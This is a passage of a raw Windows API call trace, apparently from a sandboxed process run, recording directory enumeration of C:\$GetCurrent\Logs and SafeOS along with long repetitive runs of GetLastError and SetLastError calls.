nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Logs", cAlternateFileName="")) returned 1 [0046.434] GetLastError () returned 0x0 [0046.434] SetLastError (dwErrCode=0x0) [0046.434] GetLastError () returned 0x0 [0046.434] SetLastError (dwErrCode=0x0) [0046.434] GetLastError () returned 0x0 [0046.434] SetLastError (dwErrCode=0x0) [0046.434] GetLastError () returned 0x0 [0046.434] SetLastError (dwErrCode=0x0) [0046.434] GetLastError () returned 0x0 [0046.434] SetLastError (dwErrCode=0x0) [0046.434] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x2e0060 [0046.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xf9100 [0046.438] FindNextFileW (in: hFindFile=0xf9100, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.438] FindNextFileW (in: hFindFile=0xf9100, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0046.438] GetLastError () returned 0x0 [0046.438] SetLastError (dwErrCode=0x0) [0046.438] GetLastError () returned 0x0 [0046.438] SetLastError (dwErrCode=0x0) [0046.438] GetLastError () returned 0x0 [0046.438] SetLastError (dwErrCode=0x0) [0046.438] GetLastError () returned 0x0 [0046.438] SetLastError (dwErrCode=0x0) [0046.438] GetLastError () returned 0x0 [0046.438] SetLastError (dwErrCode=0x0) [0046.438] GetLastError () returned 0x0 [0046.438] SetLastError (dwErrCode=0x0) [0046.438] GetLastError () returned 0x0 [0046.438] SetLastError (dwErrCode=0x0) [0046.438] GetLastError () returned 0x0 [0046.438] SetLastError (dwErrCode=0x0) [0046.438] GetLastError () returned 0x0 [0046.439] SetLastError (dwErrCode=0x0) [0046.439] GetLastError () returned 0x0 [0046.439] SetLastError (dwErrCode=0x0) [0046.439] GetLastError () returned 0x0 [0046.439] SetLastError (dwErrCode=0x0) [0046.439] GetLastError () returned 0x0 [0046.439] SetLastError (dwErrCode=0x0) [0046.439] GetLastError () returned 0x0 [0046.439] SetLastError (dwErrCode=0x0) [0046.439] GetLastError () returned 0x0 [0046.439] SetLastError (dwErrCode=0x0) [0046.439] GetLastError () returned 0x0 [0046.439] SetLastError (dwErrCode=0x0) [0046.439] GetLastError () returned 0x0 [0046.439] SetLastError (dwErrCode=0x0) [0046.439] GetLastError () returned 0x0 [0046.439] SetLastError (dwErrCode=0x0) [0046.439] GetLastError () returned 0x0 [0046.439] SetLastError (dwErrCode=0x0) [0046.439] GetLastError () returned 0x0 [0046.439] SetLastError (dwErrCode=0x0) [0046.439] GetLastError () returned 0x0 [0046.439] SetLastError (dwErrCode=0x0) [0046.439] GetLastError () returned 0x0 [0046.440] SetLastError (dwErrCode=0x0) [0046.440] GetLastError () returned 0x0 [0046.440] SetLastError (dwErrCode=0x0) [0046.440] GetLastError () returned 0x0 [0046.440] SetLastError (dwErrCode=0x0) [0046.440] GetLastError () returned 0x0 [0046.440] SetLastError (dwErrCode=0x0) [0046.440] GetLastError () returned 0x0 [0046.440] SetLastError (dwErrCode=0x0) [0046.440] GetLastError () returned 0x0 [0046.440] SetLastError (dwErrCode=0x0) [0046.440] GetLastError () returned 0x0 [0046.441] SetLastError (dwErrCode=0x0) [0046.441] GetLastError () returned 0x0 [0046.441] SetLastError (dwErrCode=0x0) [0046.441] GetLastError () returned 0x0 [0046.441] SetLastError (dwErrCode=0x0) [0046.441] GetLastError () returned 0x0 [0046.441] SetLastError (dwErrCode=0x0) [0046.441] GetLastError () returned 0x0 [0046.441] SetLastError (dwErrCode=0x0) [0046.441] GetLastError () returned 0x0 [0046.441] SetLastError (dwErrCode=0x0) [0046.441] GetLastError () returned 0x0 [0046.441] SetLastError (dwErrCode=0x0) [0046.441] GetLastError () returned 0x0 [0046.441] SetLastError (dwErrCode=0x0) [0046.441] GetLastError () returned 0x0 [0046.441] SetLastError (dwErrCode=0x0) [0046.441] GetLastError () returned 0x0 [0046.441] SetLastError (dwErrCode=0x0) [0046.441] GetLastError () returned 0x0 [0046.441] SetLastError (dwErrCode=0x0) [0046.441] GetLastError () returned 0x0 [0046.441] SetLastError (dwErrCode=0x0) [0046.442] GetLastError () returned 0x0 [0046.442] SetLastError (dwErrCode=0x0) [0046.442] GetLastError () returned 0x0 [0046.442] SetLastError (dwErrCode=0x0) [0046.442] GetLastError () returned 0x0 [0046.442] SetLastError (dwErrCode=0x0) [0046.442] GetLastError () returned 0x0 [0046.442] SetLastError (dwErrCode=0x0) [0046.442] GetLastError () returned 0x0 [0046.442] SetLastError (dwErrCode=0x0) [0046.442] GetLastError () returned 0x0 [0046.442] SetLastError (dwErrCode=0x0) [0046.442] GetLastError () returned 0x0 [0046.442] SetLastError (dwErrCode=0x0) [0046.442] GetLastError () returned 0x0 [0046.442] SetLastError (dwErrCode=0x0) [0046.442] GetLastError () returned 0x0 [0046.442] SetLastError (dwErrCode=0x0) [0046.442] GetLastError () returned 0x0 [0046.442] SetLastError (dwErrCode=0x0) [0046.442] GetLastError () returned 0x0 [0046.442] SetLastError (dwErrCode=0x0) [0046.442] GetLastError () returned 0x0 [0046.442] SetLastError (dwErrCode=0x0) [0046.443] GetLastError () returned 0x0 [0046.443] SetLastError (dwErrCode=0x0) [0046.443] GetLastError () returned 0x0 [0046.443] SetLastError (dwErrCode=0x0) [0046.443] GetLastError () returned 0x0 [0046.443] SetLastError (dwErrCode=0x0) [0046.443] GetLastError () returned 0x0 [0046.443] SetLastError (dwErrCode=0x0) [0046.443] GetLastError () returned 0x0 [0046.443] SetLastError (dwErrCode=0x0) [0046.443] GetLastError () returned 0x0 [0046.443] SetLastError (dwErrCode=0x0) [0046.443] GetLastError () returned 0x0 [0046.443] SetLastError (dwErrCode=0x0) [0046.443] GetLastError () returned 0x0 [0046.443] SetLastError (dwErrCode=0x0) [0046.443] GetLastError () returned 0x0 [0046.443] SetLastError (dwErrCode=0x0) [0046.443] GetLastError () returned 0x0 [0046.443] SetLastError (dwErrCode=0x0) [0046.443] GetLastError () returned 0x0 [0046.443] SetLastError (dwErrCode=0x0) [0046.443] GetLastError () returned 0x0 [0046.444] SetLastError (dwErrCode=0x0) [0046.444] GetLastError () returned 0x0 [0046.444] SetLastError (dwErrCode=0x0) [0046.444] GetLastError () returned 0x0 [0046.444] SetLastError (dwErrCode=0x0) [0046.444] GetLastError () returned 0x0 [0046.444] SetLastError (dwErrCode=0x0) [0046.444] GetLastError () returned 0x0 [0046.444] SetLastError (dwErrCode=0x0) [0046.444] GetLastError () returned 0x0 [0046.444] SetLastError (dwErrCode=0x0) [0046.444] GetLastError () returned 0x0 [0046.444] SetLastError (dwErrCode=0x0) [0046.444] GetLastError () returned 0x0 [0046.444] SetLastError (dwErrCode=0x0) [0046.444] GetLastError () returned 0x0 [0046.444] SetLastError (dwErrCode=0x0) [0046.444] GetLastError () returned 0x0 [0046.444] SetLastError (dwErrCode=0x0) [0046.444] GetLastError () returned 0x0 [0046.444] SetLastError (dwErrCode=0x0) [0046.444] GetLastError () returned 0x0 [0046.444] SetLastError (dwErrCode=0x0) [0046.444] GetLastError () returned 0x0 [0046.445] SetLastError (dwErrCode=0x0) [0046.445] GetLastError () returned 0x0 [0046.445] SetLastError (dwErrCode=0x0) [0046.445] GetLastError () returned 0x0 [0046.445] SetLastError (dwErrCode=0x0) [0046.445] GetLastError () returned 0x0 [0046.445] SetLastError (dwErrCode=0x0) [0046.445] GetLastError () returned 0x0 [0046.445] SetLastError (dwErrCode=0x0) [0046.445] GetLastError () returned 0x0 [0046.445] SetLastError (dwErrCode=0x0) [0046.445] GetLastError () returned 0x0 [0046.445] SetLastError (dwErrCode=0x0) [0046.445] GetLastError () returned 0x0 [0046.445] SetLastError (dwErrCode=0x0) [0046.445] GetLastError () returned 0x0 [0046.445] SetLastError (dwErrCode=0x0) [0046.445] GetLastError () returned 0x0 [0046.445] SetLastError (dwErrCode=0x0) [0046.445] GetLastError () returned 0x0 [0046.445] SetLastError (dwErrCode=0x0) [0046.445] GetLastError () returned 0x0 [0046.445] SetLastError (dwErrCode=0x0) [0046.445] GetLastError () returned 0x0 [0046.446] SetLastError (dwErrCode=0x0) [0046.446] GetLastError () returned 0x0 [0046.446] SetLastError (dwErrCode=0x0) [0046.446] GetLastError () returned 0x0 [0046.446] SetLastError (dwErrCode=0x0) [0046.446] GetLastError () returned 0x0 [0046.446] SetLastError (dwErrCode=0x0) [0046.446] GetLastError () returned 0x0 [0046.446] SetLastError (dwErrCode=0x0) [0046.446] GetLastError () returned 0x0 [0046.446] SetLastError (dwErrCode=0x0) [0046.446] GetLastError () returned 0x0 [0046.446] SetLastError (dwErrCode=0x0) [0046.446] GetLastError () returned 0x0 [0046.446] SetLastError (dwErrCode=0x0) [0046.446] GetLastError () returned 0x0 [0046.446] SetLastError (dwErrCode=0x0) [0046.446] GetLastError () returned 0x0 [0046.446] SetLastError (dwErrCode=0x0) [0046.446] GetLastError () returned 0x0 [0046.446] SetLastError (dwErrCode=0x0) [0046.446] GetLastError () returned 0x0 [0046.446] SetLastError (dwErrCode=0x0) [0046.446] GetLastError () returned 0x0 [0046.447] SetLastError (dwErrCode=0x0) [0046.447] GetLastError () returned 0x0 [0046.447] SetLastError (dwErrCode=0x0) [0046.447] GetLastError () returned 0x0 [0046.447] SetLastError (dwErrCode=0x0) [0046.447] GetLastError () returned 0x0 [0046.447] SetLastError (dwErrCode=0x0) [0046.447] GetLastError () returned 0x0 [0046.447] SetLastError (dwErrCode=0x0) [0046.447] GetLastError () returned 0x0 [0046.447] SetLastError (dwErrCode=0x0) [0046.447] GetLastError () returned 0x0 [0046.447] SetLastError (dwErrCode=0x0) [0046.447] GetLastError () returned 0x0 [0046.447] SetLastError (dwErrCode=0x0) [0046.447] GetLastError () returned 0x0 [0046.447] SetLastError (dwErrCode=0x0) [0046.447] GetLastError () returned 0x0 [0046.447] SetLastError (dwErrCode=0x0) [0046.447] GetLastError () returned 0x0 [0046.447] SetLastError (dwErrCode=0x0) [0046.447] GetLastError () returned 0x0 [0046.447] SetLastError (dwErrCode=0x0) [0046.448] GetLastError () returned 0x0 [0046.448] SetLastError (dwErrCode=0x0) [0046.448] GetLastError () returned 0x0 [0046.448] SetLastError (dwErrCode=0x0) [0046.448] GetLastError () returned 0x0 [0046.448] SetLastError (dwErrCode=0x0) [0046.448] GetLastError () returned 0x0 [0046.448] SetLastError (dwErrCode=0x0) [0046.448] GetLastError () returned 0x0 [0046.448] SetLastError (dwErrCode=0x0) [0046.448] GetLastError () returned 0x0 [0046.448] SetLastError (dwErrCode=0x0) [0046.448] GetLastError () returned 0x0 [0046.448] SetLastError (dwErrCode=0x0) [0046.448] GetLastError () returned 0x0 [0046.448] SetLastError (dwErrCode=0x0) [0046.448] GetLastError () returned 0x0 [0046.448] SetLastError (dwErrCode=0x0) [0046.448] GetLastError () returned 0x0 [0046.448] SetLastError (dwErrCode=0x0) [0046.448] GetLastError () returned 0x0 [0046.448] SetLastError (dwErrCode=0x0) [0046.448] GetLastError () returned 0x0 [0046.448] SetLastError (dwErrCode=0x0) [0046.449] GetLastError () returned 0x0 [0046.449] SetLastError (dwErrCode=0x0) [0046.449] GetLastError () returned 0x0 [0046.449] SetLastError (dwErrCode=0x0) [0046.449] GetLastError () returned 0x0 [0046.449] SetLastError (dwErrCode=0x0) [0046.449] GetLastError () returned 0x0 [0046.449] SetLastError (dwErrCode=0x0) [0046.449] GetLastError () returned 0x0 [0046.449] SetLastError (dwErrCode=0x0) [0046.449] GetLastError () returned 0x0 [0046.449] SetLastError (dwErrCode=0x0) [0046.449] GetLastError () returned 0x0 [0046.449] SetLastError (dwErrCode=0x0) [0046.449] GetLastError () returned 0x0 [0046.449] SetLastError (dwErrCode=0x0) [0046.449] GetLastError () returned 0x0 [0046.449] SetLastError (dwErrCode=0x0) [0046.449] GetLastError () returned 0x0 [0046.449] SetLastError (dwErrCode=0x0) [0046.449] GetLastError () returned 0x0 [0046.449] SetLastError (dwErrCode=0x0) [0046.449] GetLastError () returned 0x0 [0046.450] SetLastError (dwErrCode=0x0) [0046.450] GetLastError () returned 0x0 [0046.450] SetLastError (dwErrCode=0x0) [0046.450] GetLastError () returned 0x0 [0046.450] SetLastError (dwErrCode=0x0) [0046.450] GetLastError () returned 0x0 [0046.450] SetLastError (dwErrCode=0x0) [0046.450] GetLastError () returned 0x0 [0046.450] SetLastError (dwErrCode=0x0) [0046.450] GetLastError () returned 0x0 [0046.450] SetLastError (dwErrCode=0x0) [0046.450] GetLastError () returned 0x0 [0046.450] SetLastError (dwErrCode=0x0) [0046.450] GetLastError () returned 0x0 [0046.450] SetLastError (dwErrCode=0x0) [0046.450] GetLastError () returned 0x0 [0046.450] SetLastError (dwErrCode=0x0) [0046.450] GetLastError () returned 0x0 [0046.450] SetLastError (dwErrCode=0x0) [0046.450] GetLastError () returned 0x0 [0046.450] SetLastError (dwErrCode=0x0) [0046.450] GetLastError () returned 0x0 [0046.450] SetLastError (dwErrCode=0x0) [0046.450] GetLastError () returned 0x0 [0046.451] SetLastError (dwErrCode=0x0) [0046.451] GetLastError () returned 0x0 [0046.451] SetLastError (dwErrCode=0x0) [0046.451] GetLastError () returned 0x0 [0046.451] SetLastError (dwErrCode=0x0) [0046.451] GetLastError () returned 0x0 [0046.451] SetLastError (dwErrCode=0x0) [0046.451] GetLastError () returned 0x0 [0046.451] SetLastError (dwErrCode=0x0) [0046.451] GetLastError () returned 0x0 [0046.451] SetLastError (dwErrCode=0x0) [0046.451] GetLastError () returned 0x0 [0046.451] SetLastError (dwErrCode=0x0) [0046.451] GetLastError () returned 0x0 [0046.451] SetLastError (dwErrCode=0x0) [0046.451] GetLastError () returned 0x0 [0046.451] SetLastError (dwErrCode=0x0) [0046.451] GetLastError () returned 0x0 [0046.451] SetLastError (dwErrCode=0x0) [0046.451] GetLastError () returned 0x0 [0046.451] SetLastError (dwErrCode=0x0) [0046.451] GetLastError () returned 0x0 [0046.451] SetLastError (dwErrCode=0x0) [0046.452] FindNextFileW (in: hFindFile=0xf9100, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0046.452] GetLastError () returned 0x0 [0046.452] SetLastError (dwErrCode=0x0) [0046.452] GetLastError () returned 0x0 [0046.452] SetLastError (dwErrCode=0x0) [0046.452] GetLastError () returned 0x0 [0046.452] SetLastError (dwErrCode=0x0) [0046.452] GetLastError () returned 0x0 [0046.452] SetLastError (dwErrCode=0x0) [0046.452] GetLastError () returned 0x0 [0046.452] SetLastError (dwErrCode=0x0) [0046.452] GetLastError () returned 0x0 [0046.452] SetLastError (dwErrCode=0x0) [0046.452] GetLastError () returned 0x0 [0046.452] SetLastError (dwErrCode=0x0) [0046.452] GetLastError () returned 0x0 [0046.452] SetLastError (dwErrCode=0x0) [0046.452] GetLastError () returned 0x0 [0046.452] SetLastError (dwErrCode=0x0) [0046.452] GetLastError () returned 0x0 [0046.452] SetLastError (dwErrCode=0x0) [0046.452] GetLastError () returned 0x0 [0046.453] SetLastError (dwErrCode=0x0) [0046.453] GetLastError () returned 0x0 [0046.453] SetLastError (dwErrCode=0x0) [0046.453] GetLastError () returned 0x0 [0046.453] SetLastError (dwErrCode=0x0) [0046.453] GetLastError () returned 0x0 [0046.453] SetLastError (dwErrCode=0x0) [0046.453] GetLastError () returned 0x0 [0046.453] SetLastError (dwErrCode=0x0) [0046.453] GetLastError () returned 0x0 [0046.453] SetLastError (dwErrCode=0x0) [0046.453] GetLastError () returned 0x0 [0046.453] SetLastError (dwErrCode=0x0) [0046.453] GetLastError () returned 0x0 [0046.453] SetLastError (dwErrCode=0x0) [0046.453] GetLastError () returned 0x0 [0046.453] SetLastError (dwErrCode=0x0) [0046.453] GetLastError () returned 0x0 [0046.453] SetLastError (dwErrCode=0x0) [0046.453] GetLastError () returned 0x0 [0046.453] SetLastError (dwErrCode=0x0) [0046.453] GetLastError () returned 0x0 [0046.453] SetLastError (dwErrCode=0x0) [0046.453] GetLastError () returned 0x0 [0046.454] SetLastError (dwErrCode=0x0) [0046.454] GetLastError () returned 0x0 [0046.454] SetLastError (dwErrCode=0x0) [0046.454] GetLastError () returned 0x0 [0046.454] SetLastError (dwErrCode=0x0) [0046.454] GetLastError () returned 0x0 [0046.454] SetLastError (dwErrCode=0x0) [0046.454] GetLastError () returned 0x0 [0046.454] SetLastError (dwErrCode=0x0) [0046.454] GetLastError () returned 0x0 [0046.454] SetLastError (dwErrCode=0x0) [0046.454] GetLastError () returned 0x0 [0046.454] SetLastError (dwErrCode=0x0) [0046.454] GetLastError () returned 0x0 [0046.454] SetLastError (dwErrCode=0x0) [0046.454] GetLastError () returned 0x0 [0046.454] SetLastError (dwErrCode=0x0) [0046.454] GetLastError () returned 0x0 [0046.454] SetLastError (dwErrCode=0x0) [0046.454] GetLastError () returned 0x0 [0046.454] SetLastError (dwErrCode=0x0) [0046.454] GetLastError () returned 0x0 [0046.455] SetLastError (dwErrCode=0x0) [0046.455] GetLastError () returned 0x0 [0046.455] SetLastError (dwErrCode=0x0) [0046.455] GetLastError () returned 0x0 [0046.455] SetLastError (dwErrCode=0x0) [0046.455] GetLastError () returned 0x0 [0046.455] SetLastError (dwErrCode=0x0) [0046.455] GetLastError () returned 0x0 [0046.455] SetLastError (dwErrCode=0x0) [0046.455] GetLastError () returned 0x0 [0046.455] SetLastError (dwErrCode=0x0) [0046.455] GetLastError () returned 0x0 [0046.455] SetLastError (dwErrCode=0x0) [0046.455] GetLastError () returned 0x0 [0046.455] SetLastError (dwErrCode=0x0) [0046.455] GetLastError () returned 0x0 [0046.455] SetLastError (dwErrCode=0x0) [0046.455] GetLastError () returned 0x0 [0046.455] SetLastError (dwErrCode=0x0) [0046.455] GetLastError () returned 0x0 [0046.456] SetLastError (dwErrCode=0x0) [0046.456] GetLastError () returned 0x0 [0046.456] SetLastError (dwErrCode=0x0) [0046.456] GetLastError () returned 0x0 [0046.456] SetLastError (dwErrCode=0x0) [0046.456] GetLastError () returned 0x0 [0046.456] SetLastError (dwErrCode=0x0) [0046.456] GetLastError () returned 0x0 [0046.456] SetLastError (dwErrCode=0x0) [0046.456] GetLastError () returned 0x0 [0046.456] SetLastError (dwErrCode=0x0) [0046.456] GetLastError () returned 0x0 [0046.456] SetLastError (dwErrCode=0x0) [0046.456] GetLastError () returned 0x0 [0046.456] SetLastError (dwErrCode=0x0) [0046.456] GetLastError () returned 0x0 [0046.456] SetLastError (dwErrCode=0x0) [0046.456] GetLastError () returned 0x0 [0046.456] SetLastError (dwErrCode=0x0) [0046.456] GetLastError () returned 0x0 [0046.456] SetLastError (dwErrCode=0x0) [0046.457] GetLastError () returned 0x0 [0046.457] SetLastError (dwErrCode=0x0) [0046.457] GetLastError () returned 0x0 [0046.457] SetLastError (dwErrCode=0x0) [0046.457] GetLastError () returned 0x0 [0046.457] SetLastError (dwErrCode=0x0) [0046.457] GetLastError () returned 0x0 [0046.457] SetLastError (dwErrCode=0x0) [0046.457] GetLastError () returned 0x0 [0046.457] SetLastError (dwErrCode=0x0) [0046.457] GetLastError () returned 0x0 [0046.457] SetLastError (dwErrCode=0x0) [0046.457] GetLastError () returned 0x0 [0046.457] SetLastError (dwErrCode=0x0) [0046.457] GetLastError () returned 0x0 [0046.457] SetLastError (dwErrCode=0x0) [0046.457] GetLastError () returned 0x0 [0046.457] SetLastError (dwErrCode=0x0) [0046.457] GetLastError () returned 0x0 [0046.457] SetLastError (dwErrCode=0x0) [0046.457] GetLastError () returned 0x0 [0046.457] SetLastError (dwErrCode=0x0) [0046.457] GetLastError () returned 0x0 [0046.458] SetLastError (dwErrCode=0x0) [0046.458] GetLastError () returned 0x0 [0046.458] SetLastError (dwErrCode=0x0) [0046.458] GetLastError () returned 0x0 [0046.458] SetLastError (dwErrCode=0x0) [0046.458] GetLastError () returned 0x0 [0046.458] SetLastError (dwErrCode=0x0) [0046.458] GetLastError () returned 0x0 [0046.458] SetLastError (dwErrCode=0x0) [0046.458] GetLastError () returned 0x0 [0046.458] SetLastError (dwErrCode=0x0) [0046.458] GetLastError () returned 0x0 [0046.458] SetLastError (dwErrCode=0x0) [0046.458] GetLastError () returned 0x0 [0046.458] SetLastError (dwErrCode=0x0) [0046.458] GetLastError () returned 0x0 [0046.458] SetLastError (dwErrCode=0x0) [0046.458] GetLastError () returned 0x0 [0046.458] SetLastError (dwErrCode=0x0) [0046.458] GetLastError () returned 0x0 [0046.458] SetLastError (dwErrCode=0x0) [0046.458] GetLastError () returned 0x0 [0046.458] SetLastError (dwErrCode=0x0) [0046.458] GetLastError () returned 0x0 [0046.459] SetLastError (dwErrCode=0x0) [0046.459] GetLastError () returned 0x0 [0046.459] SetLastError (dwErrCode=0x0) [0046.459] GetLastError () returned 0x0 [0046.459] SetLastError (dwErrCode=0x0) [0046.459] GetLastError () returned 0x0 [0046.459] SetLastError (dwErrCode=0x0) [0046.459] GetLastError () returned 0x0 [0046.459] SetLastError (dwErrCode=0x0) [0046.459] FindNextFileW (in: hFindFile=0xf9100, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0046.459] FindNextFileW (in: hFindFile=0xf9100, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0046.459] FindClose (in: hFindFile=0xf9100 | out: hFindFile=0xf9100) returned 1 [0046.460] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x2e0060 | out: hHeap=0x80000) returned 1 [0046.460] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0046.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xf9400 [0046.724] FindNextFileW (in: hFindFile=0xf9400, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.724] FindNextFileW (in: hFindFile=0xf9400, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0046.828] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.829] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0046.829] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0046.829] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0046.829] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x259f520 | out: 